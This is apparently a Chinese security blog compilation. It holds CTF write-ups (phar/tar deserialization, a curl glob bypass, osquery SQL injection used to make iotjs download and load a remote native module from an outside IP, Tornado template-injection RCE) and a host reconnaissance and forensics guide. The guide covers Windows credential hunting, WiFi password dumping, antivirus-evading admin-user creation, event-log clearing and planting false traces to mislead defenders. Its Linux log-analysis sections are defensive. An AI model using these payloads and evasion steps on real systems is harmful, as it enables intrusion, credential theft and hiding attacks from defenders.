# r = requests.get("http://testabc.com:10082/?log_type=test&file=phar://./log/127.0.0.1/phar.tar")
print(r.text)

思路整理

做这种题确实很爽,感觉思路有在被打开,虽然是看着wp艰难完成的。。。这里梳理一下
1.题目很明显需要我们phar反序列化,但是由于写入的文件尾有脏字符,而phar对后四位的签名有规定,所以只能写入tar文件,很巧的是,两者更改后缀都没有影响,判断文件的标准是文件内容的数据,确定使用tar文件进行反序列化后,接下来就是构造数据包

2.了解tar的数据结构,构造出完整正确的tar压缩包传过去即可

思路看似很简单,但其实其中的坑是挺多的,很好!!!

funny_web

<?php
session_start();
//hint in /hint.txt
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}

function Check($url)
{
$blacklist = "/l|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";

if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}

if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}

echo $_SESSION["uuid"]."</br>";

if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}

if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
}

这边主要是有一个curl的trick,直接粘贴复制文档吧,没有环境

bypass url check:'fi[k-m]e:///hint.txt'

bypass output check:'fi[k-m]e:///{hint.txt,7f7d9107-a48b-284e-a29e-66c871bf5706}'

QQQueryyy_all_the_things

继续来续坑了,感觉还是想把这里的题给复现一下,趁着周四下午没课,来做一下
测试了一下,发现是sqlite数据库的注入:
img
继续往下,查查看有没有能用的数据

sqlite查询语句

select sqlite_version();
select sql from sqlite_master;
select sql from sqlite_master where type='';
select sql from sqlite_master where type='' and name ='';

如果查出来的view,可以直接查询

CREATE VIEW view_p_sum (Product, P_SUM) AS
SELECT Product, Price*Quantity FROM p_orders GROUP BY Product;
##可以使用
select * from view_p_sum

这里尝试写shell试试。。。但是很尴尬的是还不知道绝对路径

img

可以发现有很多表,尝试访问一下看看

继续探索,发现他们是来自于一个叫做osquery的东西,他是 是 SQL 驱动的分析和监控操作系统的工具,是操作系统分析框架。
参考:https://www.lxlinux.net/4183.html
发现他是可以命令执行的,所以我们继续查一下看看
img

他还有其他的表可以用来查询命令,而在这里有一份很详细的内容各个表以及可以查询的内容:https://osquery.io/schema/4.1.2#processes
img
发现flag了img
但是这个读取不了内容就很难受了

再看看有没有其他读文件的操作?

有发现一个curl指令,难道说要ssrf吗?先看看开放了什么端口吧

使用

?str=';select * from listening_ports;'

可以发现有以下端口

{"address":"0.0.0.0","family":"2","fd":"-1","net_namespace":"4026532416","path":"","pid":"-1","port":"16324","protocol":"6","socket":"33536608"}, {"address":"::","family":"10","fd":"-1","net_namespace":"4026532416","path":"","pid":"-1","port":"80","protocol":"6","socket":"33536329"} ] 

看到16324端口了,在看看其他服务

[ {"''":""}, {"cmdline":"/bin/sh /root/start.sh"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"/usr/sbin/apache2 -k start"}, {"cmdline":"sh -c echo 'SELECT '\\'''\\'';select cmdline from processes;'\\'''\\'' as hello;' | osqueryi --json"}, {"cmdline":"osqueryi --json"}, {"cmdline":"sleep infinity"}, {"cmdline":"/usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6"}, {"cmdline":"/usr/sbin/apache2 -k start"} ] 

其中最可疑的应该就是”/usr/sbin/xinetd,所以我们顺着往下查查看,正好我们可以读文件

查阅了一下,原来xinetd是一个服务

xinetd即extended internet daemon,xinetd是新一代的网络守护进程服务程序,又叫超级Internet服务器。经常用来管理多种轻量级Internet服务。xinetd提供类似于inetd+tcp_wrapper的功能,但是更加强大和安全。

他的配置文件是存在/etc/xinetd.d/

在这里发现了ctf的进程

{"atime":"1639034423","block_size":"4096","btime":"0","ctime":"1639035944","device":"0","directory":"/etc/xinetd.d/","filename":"ctf","gid":"0","hard_links":"1","inode":"2101156","mode":"0644","mtime":"1639034423","path":"/etc/xinetd.d/ctf","size":"628","symlink":"0","type":"regular","uid":"0"}
]

由于配置文件位于etc,所以我们可以使用linux中的配置编辑器augeas进行读取

Augeas基本上就是一个配置编辑工具。它以他们原生的格式解析配置文件并且将它们转换成树。配置的更改可以通过操作树来完成,并可以以原生配置文件格式保存配置。

但是augeas就无法读取其他文件了–,出题人设置的也是刚刚好呀

?str=';select * from augeas where path = "/etc/xinetd.d/ctf";'

发现这两个东西,虽然还不知道有啥用,但是先存着好了

/etc/xinetd.d/ctf","value":"/src/iotjs/build/x86_64-linux/debug/bin/iotjs
"value":"/src/iotjs/tools/repl.js"},

这边是有关于其的一个简介

iotjs 是三星开源的javascript 物联网开发平台。 它为javascript 应用程序提供了访问硬件、网络、文件系统和异步化的能力,功能类似于nodejs,但无论是代码体积还是内存需求,iotjs 都要小很多,是用javascript 开发iot 设备应用程序的首选。

他这边说了iotjs,大概就是要利用它进行一个rce了,but–接下来就是一个大大大的只是盲区了,大致就是iotjs可以恶意加载模块,我们传入一个恶意模块,让他去加载

如何编写一个新模块?

这里看到的是使用一个工具协助进行编写,,,好麻烦我吐了

https://github.com/jerryscript-project/iotjs/blob/master/docs/devs/Writing-New-Module.md
https://github.com/jerryscript-project/iotjs/blob/master/docs/api/IoT.js-API-N-API.md

x先留一个坑吧。。贴一下脚本

import requests
import random
import base64


# SQL Injection
url = "http://47.57.246.66:12321/?str=world';{};--"
# Payload from other team
payload = "select group_concat(result)from curl where url='http://127.0.0.1:16324' and user_agent='\n\n\n\n\n\n\n\n\n\n\n\n\n\n{node}\n\n\n\n\n\n\n\n\n\n\n'"


"""
Write native module to server

fs = require("fs");
http = require("http")

f = fs.openSync("/tmp/styp.node", "w")
http.get({
host: "158.101.144.10",
port: 80,
path: "/styp.node?exp"
}, function(resp){
resp.on("data", function(exploit){
fs.writeSync(f, exploit, 0, exploit.length)
});
resp.on("end", function(){
fs.closeSync(f)
process.exit(1)
});
});
"""
gadget_init = "fs=require(\"fs\");f=fs.openSync(\"/tmp/styp.node\",\"w\");http=require(\"http\");http.get({ host:\"158.101.144.10\",port:80,path:\"/styp.node?q\"},function(r){r.on(\"data\",function(c){fs.writeSync(f, nc, 0, c.length);});r.on(\"end\", function(){fs.closeSync(f);process.exit(1);})});"
payload_init = payload.format(node=gadget_init)

r = requests.get(url.format(payload_init))
print(r.text)

"""
Run my native module

sty = require("/tmp/styp.node")
console.log(sty)
"""
gadget_shell = "sty=require(\"/tmp/styp.node\");console.log(sty);"
payload_shell = payload.format(node=gadget_shell)

r = requests.get(url.format(payload_shell))
print(r.text)

tornado

在这个框架下的模板注入,但是我本地搭建不起来,所以直接研究一下payload吧
他使用的是tornado的模板引擎

tornado的模板引擎不支持像’attr’这样的内置方法,它可以让我们通过拼接字符串绕过过滤器。但它公开了一个名为handler. 这个对象包含很多属性和方法。如果我们在这个对象上运行一个 DFS 算法,那么我们可以找到一个引用 的 dict 对象builtins。而这个对象的路径是handler.request.server_connection._serving_future._coro.cr_frame.f_builtins.

{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']}}
>>> <built-in function eval>

无情的payload搬运工。。

{% autoescape request.server_connection._serving_future._coro.cr_frame.f_builtins['exe'+'c'] %}
{{ request.headers["z"] }}
import requests

payload="""{{% raw "{}"
_tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']%}}{{% raw 1
_tt_utf8 = lambda x:x
%}}
""".format(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('/readflag').read()"]))

res = requests.post("http://127.0.0.1:5000/",data={'data':payload})
print(res.text)

蓝队日志溯源

windwos主机信息收集

Windows主机信息收集

powershell命令历史记录

可以使用powershell进行查看

powershell Get-Content (Get-PSReadlineOption).HistorySavePath

某些情况下,该命令可能无法使用,我们可先用dir查看powershell历史命令记录文件的存放位置,然后使用type进行读取

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

PS:打点时遇到Windows环境的文件下载漏洞,可下载以下文件进行敏感信息翻阅,某些运维会使用powershell进行管理工作组或域内机器,运气好的可以找到ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过powershell历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的IP段,扩宽我们的攻击面。

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

渗透结束时,如果使用过powershell的,务必清除powershell命令历史记录,在一定程度上可以减少被溯源成功的概率,当然,也可以迷惑蓝队,写入一些奇怪的命令,例如把上线的C2地址更改为境外的已公开IOC情报的挖矿IP,然后丢进来几个挖坑样本,误导蓝队进行溯源消耗防守方的精力,伪造痕迹的时候记得更改文件时间,还得注意下语言文字这些细节,不然蓝队看到中文名字、错误语法和时间的挖矿,结合攻防演练时间,第一时间肯定会知道这是伪造出来的,如果内网存在IDS这样的流量审计设备,蓝队一定位机器查看设备流量,说不定还可能暴露我们的踪迹

这目录里面放着电脑的历史打开文件记录,看过什么文件、什么时候,包括点过那几个盘,都很详细的记录,我们可通过该目录定位运维常用的文件夹、文件等,寻找敏感信息,查看这个目录往往有奇效,很多时候运维为了方便管理机器喜欢用密码小本本来记录各个机器的密码,毕竟一个运维管理几十台机器是非常常见,这么多密码不一定记得住,所以大多数运维会选择把机器密码记录在txt、xls这种文件里,这也就给了我们可乘之机,其实我在这个目录遇到最多的还是运维写的日报、周报,很多时候这些报告里面包含了大量服务器信息,这时候我们就可以通过这些敏感信息进一步内网横向。

recent

大多数时候我们的起点都是webshell权限,如果没有判断管理员是否在线,是否有IDS这种流量检测设备,那么在第一时间最好不要冒然远程过去,不然就是得不偿失了;recent无法使用,这时候我们可以使用dir读取历史打开文件,然后再利用dir搜索关键字得到文件的绝对路径,这样我们就可以直接在webshell中进行查看或下载回来本地打开了。

dir %APPDATA%\Microsoft\Windows\Recent
dir C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent
dir /a /s /b c:\password.txt

其它的常用关键字搜索,

dir /a /s /b c:\*.conf *.ini *.inc *.config 
dir /a /s /b c:\conf.* config.*
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx
findstr /s /i /n /d:C:\ /c:"pass" *.config

某些时候显示内容过多,可对这些关键字进行逐个搜索,或使用findstr进行过滤,如:

dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"

另外可到回收站翻翻,很多时候会有惊喜。

前面说到了recent目录记录到了查看历史打开文件,在后渗透时,我们通常会往目标机子上传各种文件,例如nps、mimikatz、psexec等,这些工具在使用过程中,大多会在recent目录产生记录,这时候为了更好的隐藏痕迹,我们可以rd命令删除运行记录或直接使用CS或webshell管理工具提供的文件管理功能删除该记录,另外psexec成功登录退出后,会在目标机器的安全日志中产生Event 4624、4628、4634,在系统日志中产生Event 7045(记录PSEXESVC安装)、Event 7036(记录PSEXESVC服务状态),Windows日志也需要处理下;关于清理痕迹不是本文的主题,就不多赘述了,对于应急的同学可以多关注下recent文件夹和Windows日志,在不手动清理或者使用某些安全工具清理垃圾的时候,recent这个目录为空或者很少东西,那么应该要注意下了。

rd /s 文件

windows 日志路径:

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
IIS默认日志位置:%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

powershell清除Windows事件日志

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

PS:上传后的文件如果不能删除(没权限或其它因素),那么可以上传或新建同名文件,覆盖掉原有文件。

敏感文件寻找

  • 服务器、中间件、数据库这类配置文件。
  • 运维密码、工作记录、个人记录这些。
  • 公司文件、合同、网络拓扑图这类。
  • ……

服务器、中间件、数据库这类配置文件的重要性大家都懂,渗透的时候如果获取到一个包含大量敏感信息的配置文件,那将会为我们在后渗透作出良好的铺垫,如下。

某次项目时,拿到一个存在内网的shell,通过对主机信息收集,发现某配置文件Config-back.xml包含了大量的数据库账号密码,之后使用CS下载该配置文件到本地,然后搭建代理利用这些账号密码批量上线MSSQL主机,再结合这些密码制作出高质量字典爆破C段机器,用了不到30分钟拿到了200多台机器权限,所以说渗透的本质是信息搜集,信息搜集的量决定着我们渗透的成果,关于配置文件的查找这里就不多说了,可参考上面的dir命令进行查找。

dir /a /s /b d:\conf.* config.*

另外就是要多关注下web系统本身存放的文件,之前遇到过一个IBM系统,里面有个云盘功能,之后翻这个功能模块找到了个运维建立的文件夹,里面存放了大量的数据,什么网络拓扑图、运维日志、甚至还有账号密码,还有的就是做等保渗透的时候,远程到运维机,桌面一大堆设备清单,还有各个系统的账号密码,而且这些xlsx表格都是不加密的,直接打开就能查看,一些运维为了贪图方便,往往会非常严重的安全隐患,给了入侵者很大的机会。

这里再补充一下WiFi密码获取这个点,在内网渗透,密码获取到的越多,路就越好走,很多时候内网的密码都是通用的,就算是不通用,大部分的密码也是有规律可循的,关于密码的获取可使用LaZagne

CMD获取WiFi密码

netsh wlan show profiles
netsh wlan show profiles name="WiFi名称" key=clear

通过for循环一次性获取全部WiFi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

如果已经取得当前机器的管理员权限的话,可运行mimikatz、procdump之类凭据获取工具获取系统凭据,因为多数管理员可能使用同一密码或有规律性的密码来管理多台服务器,如果能够得到主机密码或者hash就可以尝试pth或psexec批量上线了;还有就是在进程收集的时候要多留意一下是否有域管启用的进程,如果刚好域管理员登录过我们已经有权限的机器,那么就可以利用域管进程进行横向了,如果没有的话可关注下ms14068,域委派这类东西,这些都是后渗透基本常识了,这里不多赘述。

域信息收集常用命令

常用命令

net use  查看ipc连接情况
net user /domain 获取域用户列表
net user test 123 /add 添加用户
neet localgroup administrators test /add 添加test用户到管理组,一般情况下,管理组才能远程桌面
net group /domain 查询域里面的组
net group "domain admins" /domain 获取域管理员列表
net group "enterprise admins" /domain 查看当前域中企业管理员组用户
net group "domain computers" /domain 查看当前域中的所有的计算机名(登录过该域的计算机)
net group "exchange servers" /domain 查看域内是否存在Exchange
net group "domain controllers" /domain 查看域控制器(如果有多台)
net config workstation 查看当前登录域
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\test 查看test计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:test 查看test域中的机器列表
wmic useraccount get Caption,sid 获取域内所有用户sid
setspn -T target.com -Q */* 获取当前域内所有spn
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl"
for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"

网络信息查找

ipconfig /all   查看当前主机的主机名/IP/DNS等信息
route print 查看路由表信息
netstat -ano 查看开放情况,有些时候能获取到别的IP段
arp -a 查看arp解析情况

寻找内网网段时建议被动寻找,主动寻找动静太大,如nmap、nbtscan这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是IDS的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。

定位域控

查看域时间,一般域控会做时间服务器

net time /domain

通过dns定位域控

ipconfig /allipconfig /displaydns   有些时候可以在dns缓存得到域控信息

利用netdom获取域控列表,得到域控名称可通过ping获取域控IP

netdom query dc

其它信息查找

systeminfo  查看补丁情况,也能看到当前机器是否加入域环境
net group "domain controllers" /domain 查询域控
nslookup -type=SRV _ldap._tcp.corp 通过srv记录获取域控地址
nltest /dclist:corp 使用nltest查询域控列表
tasklist /svc 查看进程及对应服务名
cmdkey /l 查看当前保存的登陆凭证
type c:\Windows\system32\drivers\etc\hosts 可以发现些内网IP

其它补充

web日志

有些老系统会使用get+明文的方式传输后台登录账号密码,我们可翻查下web日志,说不定有收获,还有就是要注意系统本身的日志,这些日志大多包含内网IP段,甚至还有账号密码这些东西。

使用net1.exe绕过杀软添加用户

windows环境渗透添加用户往往会被AV拦截,而且还会产生告警日志,这时候可使用net1.exe绕过杀软添加用户,当然,也可使用cs自带的argue参数污染进行用户添加。

net1.exe

cd c:/windows/system32
copy net1.exe svchost.txt
svchost.txt user svchost M@Bas#as#@123 /add
net localgroup administrators svchost /add
svchost.txt user svchost M@Bas#as#@123 /add & net localgroup administrators svchost /add

argue参数污染

net1 argue net1 aaaaaaaaaaaaaaaaaaaaaaaassssssssssssssssssssssssssssssssssssssssssssssssss
execute net1 user svchost M@Bas#as#@123 /add
execute net1 localgroup administrators svchost /add

正常使用net添加用户会被火绒拦截

添加用户并加到管理员组

m1kh.txt user m1kh  M@Bas#as#@123 /add & net localgroup administrators m1kh /add

linux主机信息收集

网络信息收集

last                                    多数运维会接入内网登录系统,这时候,便可获取部分内网ip 进而对内网IP段进行画像
Ifconfig -a/arp -a/netstat -anopt/ss -nt 这些就不多说了
Route -n 内网路由情况,也能为内网网络拓扑提供一定的信息
IPtables 防火墙情况,有时候会存在内网网络通行规则,也能提供一定信息
....

敏感文件收集

grep "password:" * -Rn
find / -name "config.*"
find / -name "databases.*"
find / -name "config.*" | xargs grep "password""

其他补充

history命令

history 在linux渗透时是非常实用的,各种连接密码,ssh、mysql、ftp等等,在拿到权限是应该着重看看这个文件

日志相关命令

last命令记录着所有用户登录系统的日志,可以用来查找非授权用户的登录事件,而last命令的输出结果来源于/var/log/wtmp文件,稍有经验的入侵者都会删掉/var/log/wtmp以清除自己行踪,但是还是会露出蛛丝马迹在此文件中的。

可用以下命令分析用户登录行为

who                     查看当前登录用户(tty本地登陆  pts远程登录)
w 查看某一时刻用户的行为
uptime 查看有多少用户,以此确定是否存在异常用户
lastb 显示登录失败次数,判断是存在ssh爆破
last 显示用户最近登录信息。
lastlog 登录成功记录

进程和端口检查

进程检查

用ps命令查看服务器上的所有进程,定位恶意进程。

ps -a               列出的是当前控制终端启动的进程
ps -A 系统全部启动进程
ps auxf 查看父进程关联的子进程
pstree 查看进程树

进程过多的话也可以用命令:ps -aux | grep 进程名 定位到恶意程序

ps -aux | grep 进程名

proc

这里简要说一下proc:

/proc 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,所以重启后/proc会被重置掉,linux 下有一个说法即一切皆文件,所有在linux上运行的程序都在/proc下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等
其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。 还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。

所以在得到PID后,我们就能利用以下命令获取该PID所对应的进程文件路径,获取进程的详细信息了:

ls -l /proc/$PID/exe
file /proc/$PID/exe($PID 为对应的pid 号)
which name 查看程序在哪个文件夹 name表示程序名
lsof /usr/bin/* 查看某个路径下的运行中的进程列表
pidof /usr/bin/*

history信息检查

攻击者入侵后,往往会顺手把历史操作命令给清除掉(history -c),但此命令并不会清除保存在文件中的记录,因此打开/home各帐号目录下的.bash_history,查看每个用户目录下的.bash_history文件,特别是/root目录下的.bash_history文件,此文件中记录着用户执行的所有历史命令,很多时候攻击者会通过wget下载恶意木马到服务器,这时候查看history说不定就能捕获攻击者的C2服务器了。

history
cat /root/.bash_history > root_history.txt
history -w

history优化

cat /etc/ssh/sshd_config

历史的命令增加登录的IP地址、执行命令时间等信息:
1. 保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

2. 在/etc/profile的文件尾部添加如下行数配置信息:
##history优化
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

3. source /etc/profile让配置生效

生成效果: 329 2021-04-14 16:39:43 183.6.56.66 root cat /etc/profile

主机服务分析

枚举主机所有服务,查看是否有恶意服务。

service --status-all
chkconfig –list #列出所有的系统服务

定时任务分析

定时任务对于玩CTF和做渗透的师傅应该都不陌生

查看单个用户的定时任务

crontab -l

循环遍历所有用户的定时任务

for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done

anacron异步定时任务查看

cat /etc/anacrontab

除此之外,以下目录中也可能存在恶意脚本,需进一步排查。

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

查看CPU运行

定位挖矿时很实用

top

ssh秘钥分析

redis未授权访问漏洞可直接向服务器写入公钥,从而实现无密码登录服务器,之前也写过类似的文章,所以要重点关注/etc/.ssh、 ~/.ssh 目录下有无可疑公钥

ll -al /etc/ssh/
ll -al /root/.ssh/

日志分析

查看日志是查找攻击源最好的方法,虽然耗时长;linux日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf


日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

主机日志分析

查看登录失败信息

grep -o "Failed password" /var/log/secure|uniq -c

输出登录爆破的第一行和最后一行,确认爆破时间范围

grep "Failed password" /var/log/secure|head -1 
grep "Failed password" /var/log/secure|tail -1

查看有哪些IP在爆破root帐号

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

输出有爆破行为的IP

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

输出被爆破的用户名

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

查看登录成功的日期、用户名、IP

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

查看哪些IP登录成功了

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

web日志分析

先统计请求ip,方便后续分析(取出日志可用sz命令或者xftp)

awk '{print $1}' blog.m1kh.com.log | sort | uniq -c | sort -rn | more
awk '{print $1}' blog.m1kh.com.log | sort | uniq -c | sort -rn >

统计下日志有多少行

wc -l blog.m1kh.com.log					#-l统计行数
cat -n blog.m1kh.com.log | tail -1

状态码统计

cat blog.m1kh.com.log  |awk '{print $9}'|sort|uniq -c|sort -rn

URL 统计(200)

grep "183.6.56.66" blog.m1kh.com.log |  awk '{if ($9==200) print $1,$7,$9}'

查看并统计200的状态码及ip(去重后)

cat blog.m1kh.com.log  | awk '{if ($9=200) print $1,$7,$9}'|sort|uniq -c|sort -rn | head -20

有时候遇到目录扫描会产生大量日志,这时候我们可以分开看,可用awk进行分割,只看状态码为200的。

more blog.m1kh.com.log | egrep "\.zip|\.rar|\.mdb|\.inc|\.sql|\.config|\.bak|/login.inc.php|/.svn/|/mysql/|config.inc.php|\.bak|wwwroot|网站备份|/gf_admin/|/DataBackup/|/Web.config|/web.config|/1.txt|/test.txt|www.zip|www.tar" > test.log
[root@m1kh wwwlogs]# more test.log | awk '{if($9==200) {print $1,$2,$3,$4,$6,$7,$8,$9}}'
183.6.56.66 - - [12/Apr/2021:18:14:44 "GET /config.inc.php HTTP/2.0" 200
183.6.56.66 - - [12/Apr/2021:18:14:45 "GET /config.inc.php HTTP/2.0" 200

杂项

开机启动的一些路径

/etc/rc.d/rc
/etc/rc
/etc/rc.local
/etc/rc.d/rc.local
/etc/rc.d/rc
/etc/rc$runlevel.d/ 该目录下都是链接的可执行文件,也可以自己添加可执行程序
/etc/ld.so.cache
/etc/ld.so.preload
/usr/local/lib/libioset.so
/etc/init.d
另外一个添加启动项的地方在 /etc/profile里面,还有 /etc/profile.d/目录下以sh结尾的文件

grep指令

2、grep 查找含有某字符串的所有文件

grep -rn "hello,world!" 
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
-n 是显示行号
-R 查找所有文件包含子目录
-i 忽略大小写

4、find /etc -name init

//在目录/etc中查找文件init
A、/var/log/secure

1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure

4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

2021i春秋秋季个人赛

前言

和安洵杯冲了,在安洵杯没思路的时候去做了一下,就做了一下第一题

uname

源码很简单,分为exists和upload两部分

<?php
class name1{
public $var;
public function __destruct(){
echo $this->var;
}
}
class name2{
public function __toString(){
$_POST["func"]();
return "";
}
}
header("Content-type: text/html;charset=utf-8");
$ip=$_SERVER['REMOTE_ADDR'];
$find_this = create_function("", 'die(`cat /flag`);');
error_reporting(0);
$filename = $_GET['filename'];
if (!$_GET['ip']){
echo $ip;
}
if ($filename == NULL){
die();
}
if (file_exists($filename)){
echo '<script type="text/javascript">alert("该文件存在");</script>';
}
else{
echo '<script type="text/javascript">alert("该文件不存在");</script>';
}

很明显是phar反序列化,file_exists触发,然后upload过滤了一系列内容,但是可以使用tar文件进行反序列化

<?php
class name1{
public $var;
public function __destruct(){
echo $this->var;
}
}
class name2{
public function __toString(){
$_POST["func"]();
return "";
}
}
$obj=new name1();
$b=new name2();
$obj->var=$b;

@unlink("test.tar");
$phar = new PharData("get_flag.tar");
$phar["AAABshpik"] = "FLAGFLAGFLAG";
$phar->setMetadata($obj);

